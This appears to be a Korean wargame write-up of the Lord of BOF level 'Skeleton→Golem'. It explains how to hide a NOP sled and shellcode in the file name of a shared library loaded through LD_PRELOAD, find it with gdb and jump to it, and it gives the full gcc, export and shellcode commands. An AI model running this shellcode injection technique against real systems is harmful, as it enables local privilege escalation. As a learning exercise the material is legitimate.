LOB:Skeleton→Golem

이번 코드는 버퍼와 함께 스택메모리를 전부다 지워버린다.

따라서 오버플로우 하기 힘들어 보인다.

사실 이번 문제는 모르고는 못 푸는 문제중 하나인데, 기존과 다른 새로운 기법이 사용되기 때문이다. 이 기법은 '공유 라이브러리' 라는 것인데, 다음 그림을 보자.

공유 라이브러리는 프로그램이 시작되기 전 심볼(함수,변수)들을 로드하여, 필요로 할때마다 연동되는 동적인 라이브러리다. 만약 하나의 프로그램이 실행되어서 공유 라이브러리를 사용했다면, 그뒤에 공유 라이브러리를 사용하는 모든 프로그램은 자동적으로 만들어져 있는 공유 라이브러리를 사용하게 된다.

출처: http://j4ckp4rd.tistory.com/58 [잭파드의 외장뇌]

공유 라이브러리를 만드는 것은 어렵지 않다. gcc로 아무 파일이나 컴파일 하면서 옵션을 넘기면 된다.

이렇게 아무 의미도 없는 코드를 하나 짜고, gcc로 컴파일 해준다.

대신 넘겨줘야 하는 옵션이 여러가지 있다

바로 -fPIC, -shared 이 두가지이다.

따라서 컴파일 할때

gcc [파일명] -fPIC -shared -o [출력파일명]

을 사용하면 될 것이다.

여기서 출력 파일 명을 잘 생각해보아야 한다.

우리는 LD_PRELOAD 라는 환경변수를 이용해 이 라이브러리를 프로그램이 실행될때 로드되게 할 것이다. 로드할 경우 파일의 경로와 주소가 전달 되는데 이 경로에  쉘코드를 넣으면 어떨까? 메모리에 쉘코드가 들어가는 것이다.

gcc code.c -fPIC -shared -o `python -c 'print "\x90"*70 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f

\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\

x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`

이번에도 파일명이기 떄문에 0x2f가 없는 쉘코드를 사용하여야 한다.

===============================================

컴파일된 파일이 생성된 것을 확인하였다.

이제 이 공유 라이브러리를 환경변수 LD_PRELOAD에 넣어야 한다.

대신 주의할점이 전체 경로를 적어야 한다. 경로가 확실하지 않으면 pwd로 알아놓고시작하자.

export LD_PRELOAD=`python -c 'print "/home/skeleton/temp/"\x90"*70 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a

\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`

env로 확인해보면 제대로 들어갔음을 확인할 수 있다.

그럼 프로그램이 시작될때 이 정보가 어느 주소에 들어가는지 확인해보자.

golem을 하위 temp에 복사한 후 gdb로 실행한다.

실행하고 메모리를 쭉 까보자.

구조상 공유메모리가 스택보다 전에 있으므로 esp-3000쯤 해서 내려보자.

쭉~~~까서 내려가다보면 90이 반복되는것을 볼 수 있다.

0xbffff614정도로 점프하면 될것 같아 보인다.

제대로 해결하였다.